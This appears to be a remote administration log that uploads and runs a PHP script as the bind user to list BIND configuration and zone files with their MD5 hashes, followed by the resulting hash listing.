MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 15:07:30: Establishing a connection
2026-04-30 15:07:38: Establishing a connection
2026-04-30 15:07:38: 

PUT: /tmp/pkp130198

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 15:07:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp130198; rm /tmp/pkp130198'

2026-04-30 15:07:39: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
